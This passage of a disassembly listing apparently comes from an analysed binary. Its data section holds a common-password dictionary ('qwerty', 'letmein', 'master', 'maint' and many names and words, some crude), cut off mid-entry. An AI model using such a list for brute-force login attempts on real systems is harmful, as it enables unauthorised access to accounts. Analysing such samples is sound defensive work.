.nsp0:0042D770o align 4 aRoses db 'roses',0 ; DATA XREF: .nsp0:0042D76Co align 4 aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0042D768o align 10h aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042D764o aRose db 'rose',0 ; DATA XREF: .nsp0:0042D760o align 10h aRonald db 'ronald',0 ; DATA XREF: .nsp0:0042D75Co align 4 aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0042D758o aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042D754o align 4 aRomano db 'romano',0 ; DATA XREF: .nsp0:0042D750o align 10h aRolex db 'rolex',0 ; DATA XREF: .nsp0:0042D74Co align 4 aRodent db 'rodent',0 ; DATA XREF: .nsp0:0042D748o align 10h aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042D744o align 4 aRocky db 'rocky',0 ; DATA XREF: .nsp0:0042D740o align 4 aRock db 'rock',0 ; DATA XREF: .nsp0:0042D73Co align 4 aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0042D738o align 4 aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042D734o align 4 aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0042D730o align 4 aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0042D72Co align 4 aRobot db 'robot',0 ; DATA XREF: .nsp0:0042D728o align 10h aRobin db 'robin',0 ; DATA XREF: .nsp0:0042D724o align 4 aRobert db 'robert',0 ; DATA XREF: .nsp0:0042D720o align 10h aRoach db 'roach',0 ; DATA XREF: .nsp0:0042D71Co align 4 aRisc db 'risc',0 ; DATA XREF: .nsp0:0042D718o align 10h aRipple db 'ripple',0 ; DATA XREF: .nsp0:0042D714o align 4 aRiot db 'riot',0 ; DATA XREF: .nsp0:0042D710o align 10h aRing db 'ring',0 ; DATA XREF: .nsp0:0042D70Co align 4 aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0042D708o align 4 aRight db 'right',0 ; DATA XREF: .nsp0:0042D704o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0042D700o align 4 aRick db 'rick',0 ; DATA XREF: .nsp0:0042D6FCo align 10h aRich db 'rich',0 ; DATA XREF: .nsp0:0042D6F8o align 4 aRhino db 'rhino',0 ; DATA XREF: .nsp0:0042D6F4o align 10h aReveal db 'reveal',0 ; DATA XREF: .nsp0:0042D6F0o align 4 aResistan db 'resistan',0 ; DATA XREF: .nsp0:0042D6ECo align 4 aRepublic db 'republic',0 ; DATA XREF: .nsp0:0042D6E8o align 10h aReport db 'report',0 ; DATA XREF: .nsp0:0042D6E4o align 4 aRent db 'rent',0 ; DATA XREF: .nsp0:0042D6E0o align 10h aReno db 'reno',0 ; DATA XREF: .nsp0:0042D6DCo align 4 aRenee db 'renee',0 ; DATA XREF: .nsp0:0042D6D8o align 10h aRemote db 'remote',0 ; DATA XREF: .nsp0:0042D6D4o align 4 aRelease db 'release',0 ; DATA XREF: .nsp0:0042D6D0o aRegional db 'regional',0 ; DATA XREF: .nsp0:0042D6CCo align 4 aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0042D6C8o align 4 aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042D6C4o aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0042D6C0o aRecord db 'record',0 ; DATA XREF: .nsp0:0042D6BCo align 10h aRebel db 'rebel',0 ; DATA XREF: .nsp0:0042D6B8o align 4 aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042D6B4o aRebal db 'rebal',0 ; DATA XREF: .nsp0:0042D6B0o align 4 aReaper db 'reaper',0 ; DATA XREF: .nsp0:0042D6ACo align 10h aReam db 'ream',0 ; DATA XREF: .nsp0:0042D6A8o align 4 aReally db 'really',0 ; DATA XREF: .nsp0:0042D6A4o align 10h aReality db 'reality',0 ; DATA XREF: .nsp0:0042D6A0o aReagan db 'reagan',0 ; DATA XREF: .nsp0:0042D69Co align 10h aRazor db 'razor',0 ; DATA XREF: .nsp0:0042D698o align 4 aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042D694o align 10h aRape db 'rape',0 ; DATA XREF: .nsp0:0042D690o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0042D688o aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042D684o align 4 aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0042D680o aRain db 'rain',0 ; DATA XREF: .nsp0:0042D67Co align 4 aRaid db 'raid',0 ; DATA XREF: .nsp0:0042D678o align 4 aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042D674o align 10h aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0042D670o align 4 aRachel db 'rachel',0 ; DATA XREF: .nsp0:0042D66Co align 4 aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0042D668o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042D664o ; .nsp0:0042E3BCo align 4 aQwert db 'qwert',0 ; DATA XREF: .nsp0:0042D660o ; .nsp0:0042E3B8o align 4 aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0042D65Co align 4 aPussy db 'pussy',0 ; DATA XREF: .nsp0:0042D658o align 4 aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042D654o align 4 aPunk db 'punk',0 ; DATA XREF: .nsp0:0042D650o align 4 aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0042D64Co align 4 aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0042D648o align 10h aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042D644o aPuke db 'puke',0 ; DATA XREF: .nsp0:0042D640o align 10h aPuck db 'puck',0 ; DATA XREF: .nsp0:0042D63Co align 4 aPublic db 'public',0 ; DATA XREF: .nsp0:0042D638o align 10h aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042D634o align 4 aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0042D630o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0042D62Co align 10h aProtect db 'protect',0 ; DATA XREF: .nsp0:0042D628o aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0042D624o align 10h aProgram db 'program',0 ; DATA XREF: .nsp0:0042D620o aProfile db 'profile',0 ; DATA XREF: .nsp0:0042D61Co aProfesso db 'professo',0 ; DATA XREF: .nsp0:0042D618o align 4 aProcesso db 'processo',0 ; DATA XREF: .nsp0:0042D614o align 4 aProceed db 'proceed',0 ; DATA XREF: .nsp0:0042D610o aPrivs db 'privs',0 ; DATA XREF: .nsp0:0042D60Co align 4 aPrivate db 'private',0 ; DATA XREF: .nsp0:0042D608o aPriv db 'priv',0 ; DATA XREF: .nsp0:0042D604o align 4 aPrinter db 'printer',0 ; DATA XREF: .nsp0:0042D600o aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0042D5FCo align 4 aPrince db 'prince',0 ; DATA XREF: .nsp0:0042D5F8o align 4 aPresto db 'presto',0 ; DATA XREF: .nsp0:0042D5F4o align 4 aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0042D5F0o aPrecious db 'precious',0 ; DATA XREF: .nsp0:0042D5ECo align 10h aPraise db 'praise',0 ; DATA XREF: .nsp0:0042D5E8o align 4 aPower db 'power',0 ; DATA XREF: .nsp0:0042D5E4o align 10h aPoster db 'poster',0 ; DATA XREF: .nsp0:0042D5E0o align 4 aPost db 'post',0 ; DATA XREF: .nsp0:0042D5DCo align 10h aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0042D5D8o aPorno db 'porno',0 ; DATA XREF: .nsp0:0042D5D4o align 10h aPorn db 'porn',0 ; DATA XREF: .nsp0:0042D5D0o align 4 aPork db 'pork',0 ; DATA XREF: .nsp0:0042D5CCo align 10h aPoor db 'poor',0 ; DATA XREF: .nsp0:0042D5C8o align 4 aPoop db 'poop',0 ; DATA XREF: .nsp0:0042D5C4o align 10h aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0042D5C0o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0042D5BCo align 4 aPolly db 'polly',0 ; DATA XREF: .nsp0:0042D5B8o align 10h aPolice db 'police',0 ; DATA XREF: .nsp0:0042D5B4o align 4 aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0042D5B0o align 10h aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0042D5ACo align 4 aPluto db 'pluto',0 ; DATA XREF: .nsp0:0042D5A8o align 4 aPlover db 'plover',0 ; DATA XREF: .nsp0:0042D5A4o align 4 aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0042D5A0o aPlane db 'plane',0 ; DATA XREF: .nsp0:0042D59Co align 4 aPizza db 'pizza',0 ; DATA XREF: .nsp0:0042D598o align 4 aPiss db 'piss',0 ; DATA XREF: .nsp0:0042D594o align 4 aPinname db 'pinname',0 ; DATA XREF: .nsp0:0042D590o aPimp db 'pimp',0 ; DATA XREF: .nsp0:0042D58Co align 4 aPierre db 'pierre',0 ; DATA XREF: .nsp0:0042D588o align 4 aPick db 'pick',0 ; DATA XREF: .nsp0:0042D584o align 4 aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0042D580o align 4 aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0042D57Co align 4 aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0042D578o align 4 aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0042D574o align 4 aPhoton db 'photon',0 ; DATA XREF: .nsp0:0042D570o align 4 aPhone db 'phone',0 ; DATA XREF: .nsp0:0042D56Co align 4 aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0042D568o aPhilip db 'philip',0 ; DATA XREF: .nsp0:0042D564o align 4 aPhil db 'phil',0 ; DATA XREF: .nsp0:0042D560o align 4 aPeter db 'peter',0 ; DATA XREF: .nsp0:0042D55Co align 4 aPete db 'pete',0 ; DATA XREF: .nsp0:0042D558o align 4 aPervert db 'pervert',0 ; DATA XREF: .nsp0:0042D554o aPersona db 'persona',0 ; DATA XREF: .nsp0:0042D550o aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0042D54Co align 10h aPermit db 'permit',0 ; DATA XREF: .nsp0:0042D548o align 4 aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0042D544o aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0042D540o align 4 aPepper db 'pepper',0 ; DATA XREF: .nsp0:0042D53Co align 4 aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0042D538o align 4 aPentium db 'pentium',0 ; DATA XREF: .nsp0:0042D534o aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0042D530o align 10h aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0042D52Co align 4 aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0042D528o align 4 aPenname db 'penname',0 ; DATA XREF: .nsp0:0042D524o aPenis db 'penis',0 ; DATA XREF: .nsp0:0042D520o align 4 aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0042D51Co aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0042D518o align 4 aPencil db 'pencil',0 ; DATA XREF: .nsp0:0042D514o align 4 aPecker db 'pecker',0 ; DATA XREF: .nsp0:0042D510o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0042D50Co aPaula db 'paula',0 ; DATA XREF: .nsp0:0042D508o align 4 aPatty db 'patty',0 ; DATA XREF: .nsp0:0042D504o align 4 aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0042D500o aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0042D4FCo align 4 aPaste db 'paste',0 ; DATA XREF: .nsp0:0042D4F8o align 10h aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0042D4F4o align 4 aPascal db 'pascal',0 ; DATA XREF: .nsp0:0042D4F0o align 4 aPapers db 'papers',0 ; DATA XREF: .nsp0:0042D4ECo align 4 aPaper db 'paper',0 ; DATA XREF: .nsp0:0042D4E8o align 4 aPapa db 'papa',0 ; DATA XREF: .nsp0:0042D4E4o align 4 aPamela db 'pamela',0 ; DATA XREF: .nsp0:0042D4E0o align 4 aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0042D4DCo align 10h aPaint db 'paint',0 ; DATA XREF: .nsp0:0042D4D8o align 4 aPainless db 'painless',0 ; DATA XREF: .nsp0:0042D4D4o align 4 aPacker db 'packer',0 ; DATA XREF: .nsp0:0042D4D0o align 4 aPackard db 'packard',0 ; DATA XREF: .nsp0:0042D4CCo aPacific db 'pacific',0 ; DATA XREF: .nsp0:0042D4C8o aOxford db 'oxford',0 ; DATA XREF: .nsp0:0042D4C4o align 4 aOutside db 'outside',0 ; DATA XREF: .nsp0:0042D4C0o aOutput db 'output',0 ; DATA XREF: .nsp0:0042D4BCo align 4 aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:0042D4B8o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:0042D4B4o align 4 aOsiris db 'osiris',0 ; DATA XREF: .nsp0:0042D4B0o align 10h aOscar db 'oscar',0 ; DATA XREF: .nsp0:0042D4ACo align 4 aOrwell db 'orwell',0 ; DATA XREF: .nsp0:0042D4A8o align 10h aOrient db 'orient',0 ; DATA XREF: .nsp0:0042D4A4o align 4 aOrca db 'orca',0 ; DATA XREF: .nsp0:0042D4A0o align 10h aOperator db 'operator',0 ; DATA XREF: .nsp0:0042D49Co align 4 aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:0042D498o align 4 aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:0042D494o align 4 aOpening db 'opening',0 ; DATA XREF: .nsp0:0042D490o aOmega db 'omega',0 ; DATA XREF: .nsp0:0042D488o align 4 aOlivia db 'olivia',0 ; DATA XREF: .nsp0:0042D484o align 4 aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:0042D480o align 4 aOldage db 'oldage',0 ; DATA XREF: .nsp0:0042D47Co align 10h aOkay db 'okay',0 ; DATA XREF: .nsp0:0042D478o align 4 aOffice db 'office',0 ; DATA XREF: .nsp0:0042D474o align 10h aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:0042D470o align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:0042D46Co align 4 aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:0042D468o align 10h aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:0042D464o aNuts db 'nuts',0 ; DATA XREF: .nsp0:0042D460o align 10h aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:0042D45Co align 4 aNumber db 'number',0 ; DATA XREF: .nsp0:0042D458o align 4 aNull_1 db 'null',0 ; DATA XREF: .nsp0:0042D454o align 4 aNukem db 'nukem',0 ; DATA XREF: .nsp0:0042D450o align 4 aNuke db 'nuke',0 ; DATA XREF: .nsp0:0042D44Co align 4 aNude db 'nude',0 ; DATA XREF: .nsp0:0042D448o align 4 aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:0042D444o aNoxious db 'noxious',0 ; DATA XREF: .nsp0:0042D440o aNovember db 'november',0 ; DATA XREF: .nsp0:0042D43Co align 10h aNovel db 'novel',0 ; DATA XREF: .nsp0:0042D438o align 4 aNova db 'nova',0 ; DATA XREF: .nsp0:0042D434o align 10h aNoth db 'noth',0 ; DATA XREF: .nsp0:0042D430o align 4 aNotes db 'notes',0 ; DATA XREF: .nsp0:0042D42Co align 10h aNoreen db 'noreen',0 ; DATA XREF: .nsp0:0042D428o align 4 aNode db 'node',0 ; DATA XREF: .nsp0:0042D424o align 10h aNobody db 'nobody',0 ; DATA XREF: .nsp0:0042D420o align 4 aNoble db 'noble',0 ; DATA XREF: .nsp0:0042D41Co align 10h aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:0042D418o align 4 aNita db 'nita',0 ; DATA XREF: .nsp0:0042D414o align 10h aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:0042D410o align 4 aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:0042D40Co align 4 aNight db 'night',0 ; DATA XREF: .nsp0:0042D408o align 10h aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:0042D404o align 4 aNicole db 'nicole',0 ; DATA XREF: .nsp0:0042D400o align 4 aNice db 'nice',0 ; DATA XREF: .nsp0:0042D3FCo align 4 aNext db 'next',0 ; DATA XREF: .nsp0:0042D3F8o align 4 aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0042D3F4o aNewton db 'newton',0 ; DATA XREF: .nsp0:0042D3F0o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0042D3ECo align 10h aNews db 'news',0 ; DATA XREF: .nsp0:0042D3E8o align 4 aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0042D3E4o aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0042D3E0o aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0042D3DCo align 4 aNess db 'ness',0 ; DATA XREF: .nsp0:0042D3D8o align 4 aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0042D3D4o aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:0042D3D0o align 10h aNavy db 'navy',0 ; DATA XREF: .nsp0:0042D3CCo align 4 aNasa db 'nasa',0 ; DATA XREF: .nsp0:0042D3C8o align 10h aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:0042D3C4o align 4 aNancy db 'nancy',0 ; DATA XREF: .nsp0:0042D3C0o align 4 aName db 'name',0 ; DATA XREF: .nsp0:0042D3BCo align 4 aNagel db 'nagel',0 ; DATA XREF: .nsp0:0042D3B8o align 4 aMutant db 'mutant',0 ; DATA XREF: .nsp0:0042D3B4o align 4 aMuppets db 'muppets',0 ; DATA XREF: .nsp0:0042D3B0o aMsdos db 'msdos',0 ; DATA XREF: .nsp0:0042D3ACo align 4 aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:0042D3A8o align 4 aMozart db 'mozart',0 ; DATA XREF: .nsp0:0042D3A4o align 4 aMovies db 'movies',0 ; DATA XREF: .nsp0:0042D3A0o align 4 aMovie db 'movie',0 ; DATA XREF: .nsp0:0042D39Co align 4 aMove db 'move',0 ; DATA XREF: .nsp0:0042D398o align 4 aMouse db 'mouse',0 ; DATA XREF: .nsp0:0042D394o align 4 aMountain db 'mountain',0 ; DATA XREF: .nsp0:0042D390o align 4 aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:0042D38Co align 10h aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:0042D388o align 4 aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:0042D384o align 4 aMortal db 'mortal',0 ; DATA XREF: .nsp0:0042D380o align 10h aMorris db 'morris',0 ; DATA XREF: .nsp0:0042D37Co align 4 aMorley db 'morley',0 ; DATA XREF: .nsp0:0042D378o align 10h aMore db 'more',0 ; DATA XREF: .nsp0:0042D374o align 4 aMoose db 'moose',0 ; DATA XREF: .nsp0:0042D370o align 10h aMoor db 'moor',0 ; DATA XREF: .nsp0:0042D36Co align 4 aMoom db 'moom',0 ; DATA XREF: .nsp0:0042D368o align 10h aMonica db 'monica',0 ; DATA XREF: .nsp0:0042D364o align 4 aMonday db 'monday',0 ; DATA XREF: .nsp0:0042D360o align 10h aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0042D35Co align 4 aMogul db 'mogul',0 ; DATA XREF: .nsp0:0042D358o align 10h aModem db 'modem',0 ; DATA XREF: .nsp0:0042D354o align 4 aMode db 'mode',0 ; DATA XREF: .nsp0:0042D350o align 10h aMkii db 'mkii',0 ; DATA XREF: .nsp0:0042D34Co align 4 aMission db 'mission',0 ; DATA XREF: .nsp0:0042D348o aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0042D344o align 4 aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0042D340o align 10h aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0042D33Co aMine db 'mine',0 ; DATA XREF: .nsp0:0042D338o align 10h aMike db 'mike',0 ; DATA XREF: .nsp0:0042D334o align 4 aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0042D330o align 4 aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0042D32Co align 10h aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0042D328o align 4 aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0042D324o align 4 aMicro db 'micro',0 ; DATA XREF: .nsp0:0042D320o align 10h aMickey db 'mickey',0 ; DATA XREF: .nsp0:0042D31Co align 4 aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0042D318o align 4 aMichele db 'michele',0 ; DATA XREF: .nsp0:0042D314o aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0042D310o align 4 aMichel db 'michel',0 ; DATA XREF: .nsp0:0042D30Co align 10h aMichael db 'michael',0 ; DATA XREF: .nsp0:0042D308o aMice db 'mice',0 ; DATA XREF: .nsp0:0042D304o align 10h aMets db 'mets',0 ; DATA XREF: .nsp0:0042D300o align 4 aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0042D2FCo align 4 aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0042D2F8o align 10h aMetal db 'metal',0 ; DATA XREF: .nsp0:0042D2F4o align 4 aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0042D2F0o align 10h aMercury db 'mercury',0 ; DATA XREF: .nsp0:0042D2ECo aMenu db 'menu',0 ; DATA XREF: .nsp0:0042D2E8o align 10h aMenace db 'menace',0 ; DATA XREF: .nsp0:0042D2E4o align 4 aMemory db 'memory',0 ; DATA XREF: .nsp0:0042D2E0o align 10h aMember db 'member',0 ; DATA XREF: .nsp0:0042D2DCo align 4 aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0042D2D8o aMellon db 'mellon',0 ; DATA XREF: .nsp0:0042D2D4o align 4 aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0042D2D0o aMegan db 'megan',0 ; DATA XREF: .nsp0:0042D2CCo align 4 aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0042D2C8o align 4 aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0042D2C4o align 10h aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0042D2C0o align 4 aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0042D2BCo aMath db 'math',0 ; DATA XREF: .nsp0:0042D2B8o align 4 aMaster db 'master',0 ; DATA XREF: .nsp0:0042D2B4o align 10h aMason db 'mason',0 ; DATA XREF: .nsp0:0042D2B0o align 4 aMary db 'mary',0 ; DATA XREF: .nsp0:0042D2ACo align 10h aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0042D2A8o align 4 aMarty db 'marty',0 ; DATA XREF: .nsp0:0042D2A4o align 10h aMars db 'mars',0 ; DATA XREF: .nsp0:0042D2A0o align 4 aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0042D29Co align 4 aMarni db 'marni',0 ; DATA XREF: .nsp0:0042D298o align 4 aMarkus db 'markus',0 ; DATA XREF: .nsp0:0042D294o align 4 aMark db 'mark',0 ; DATA XREF: .nsp0:0042D290o align 4 aMarines db 'marines',0 ; DATA XREF: .nsp0:0042D28Co aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0042D288o align 10h aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0042D284o align 4 aMariens db 'mariens',0 ; DATA XREF: .nsp0:0042D280o aMaria db 'maria',0 ; DATA XREF: .nsp0:0042D27Co align 4 aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0042D278o align 4 aMarci db 'marci',0 ; DATA XREF: .nsp0:0042D274o align 4 aMara db 'mara',0 ; DATA XREF: .nsp0:0042D270o align 4 aManager db 'manager',0 ; DATA XREF: .nsp0:0042D26Co aMana db 'mana',0 ; DATA XREF: .nsp0:0042D268o align 4 aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0042D264o align 4 aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0042D260o aMaint db 'maint',0 ; DATA XREF: .nsp0:0042D25Co align 4 aMail db 'mail',0 ; DATA XREF: .nsp0:0042D258o align 4 aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0042D254o align 4 aMagic db 'magic',0 ; DATA XREF: .nsp0:0042D250o align 4 aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0042D24Co align 4 aMacro db 'macro',0 ; DATA XREF: .nsp0:0042D248o align 4 aMack db 'mack',0 ; DATA XREF: .nsp0:0042D244o align 4 aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0042D240o align 4 aMachine db 'machine',0 ; DATA XREF: .nsp0:0042D23Co aLynne db 'lynne',0 ; DATA XREF: .nsp0:0042D238o align 4 aLynn db 'lynn',0 ; DATA XREF: .nsp0:0042D234o align 10h aLust db 'lust',0 ; DATA XREF: .nsp0:0042D230o align 4 aLuke db 'luke',0 ; DATA XREF: .nsp0:0042D22Co align 10h aLude db 'lude',0 ; DATA XREF: .nsp0:0042D228o align 4 aLucy db 'lucy',0 ; DATA XREF: .nsp0:0042D224o align 10h aLucus db 'lucus',0 ; DATA XREF: .nsp0:0042D220o align 4 aLuck db 'luck',0 ; DATA XREF: .nsp0:0042D21Co align 10h aLover db 'lover',0 ; DATA XREF: .nsp0:0042D218o align 4 aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0042D214o aLouis db 'louis',0 ; DATA XREF: .nsp0:0042D210o align 4 aLoser db 'loser',0 ; DATA XREF: .nsp0:0042D20Co align 10h aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0042D208o align 4 aLorin db 'lorin',0 ; DATA XREF: .nsp0:0042D204o align 4 aLori db 'lori',0 ; DATA XREF: .nsp0:0042D200o align 4 aLore db 'lore',0 ; DATA XREF: .nsp0:0042D1FCo align 4 aLoose db 'loose',0 ; DATA XREF: .nsp0:0042D1F8o align 4 aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0042D1F4o align 4 aLois db 'lois',0 ; DATA XREF: .nsp0:0042D1F0o align 4 aLogout db 'logout',0 ; DATA XREF: .nsp0:0042D1ECo align 4 aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0042D1E8o align 10h aLogic db 'logic',0 ; DATA XREF: .nsp0:0042D1E4o align 4 aLockword db 'lockword',0 ; DATA XREF: .nsp0:0042D1E0o align 4 aLockout db 'lockout',0 ; DATA XREF: .nsp0:0042D1DCo aLock db 'lock',0 ; DATA XREF: .nsp0:0042D1D8o align 4 aLoad db 'load',0 ; DATA XREF: .nsp0:0042D1D4o align 4 aLive db 'live',0 ; DATA XREF: .nsp0:0042D1D0o align 4 aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0042D1CCo align 10h aLisp db 'lisp',0 ; DATA XREF: .nsp0:0042D1C8o align 4 aLisa db 'lisa',0 ; DATA XREF: .nsp0:0042D1C4o align 10h aLips db 'lips',0 ; DATA XREF: .nsp0:0042D1C0o align 4 aLion db 'lion',0 ; DATA XREF: .nsp0:0042D1BCo align 10h aLink db 'link',0 ; DATA XREF: .nsp0:0042D1B8o align 4 aLinda db 'linda',0 ; DATA XREF: .nsp0:0042D1B4o align 10h aLimited db 'limited',0 ; DATA XREF: .nsp0:0042D1B0o aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0042D1ACo align 4 aLima db 'lima',0 ; DATA XREF: .nsp0:0042D1A8o align 4 aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0042D1A4o align 4 aLight db 'light',0 ; DATA XREF: .nsp0:0042D1A0o align 10h aLife db 'life',0 ; DATA XREF: .nsp0:0042D19Co align 4 aLicker db 'licker',0 ; DATA XREF: .nsp0:0042D198o align 10h aLick db 'lick',0 ; DATA XREF: .nsp0:0042D194o align 4 aLibrary db 'library',0 ; DATA XREF: .nsp0:0042D190o aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0042D18Co aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0042D188o align 4 aLewis db 'lewis',0 ; DATA XREF: .nsp0:0042D184o align 4 aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0042D180o aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0042D17Co align 4 aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0042D178o aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0042D174o align 4 aLeland db 'leland',0 ; DATA XREF: .nsp0:0042D170o align 4 aLegal db 'legal',0 ; DATA XREF: .nsp0:0042D16Co align 4 aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0042D168o align 4 aLeft db 'left',0 ; DATA XREF: .nsp0:0042D164o align 10h aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0042D160o align 4 aLeah db 'leah',0 ; DATA XREF: .nsp0:0042D15Co align 4 aLazer db 'lazer',0 ; DATA XREF: .nsp0:0042D158o align 4 aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0042D154o aLava db 'lava',0 ; DATA XREF: .nsp0:0042D150o align 4 aLaura db 'laura',0 ; DATA XREF: .nsp0:0042D14Co align 4 aLaser db 'laser',0 ; DATA XREF: .nsp0:0042D148o align 4 aLarry db 'larry',0 ; DATA XREF: .nsp0:0042D144o align 4 aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0042D140o align 4 aLara db 'lara',0 ; DATA XREF: .nsp0:0042D13Co align 4 aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0042D138o align 4 aLana db 'lana',0 ; DATA XREF: .nsp0:0042D134o align 4 aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0042D130o align 10h aLambda db 'lambda',0 ; DATA XREF: .nsp0:0042D12Co align 4 aLakers db 'lakers',0 ; DATA XREF: .nsp0:0042D128o align 10h aLadle db 'ladle',0 ; DATA XREF: .nsp0:0042D124o align 4 aLadies db 'ladies',0 ; DATA XREF: .nsp0:0042D120o align 10h aKristy db 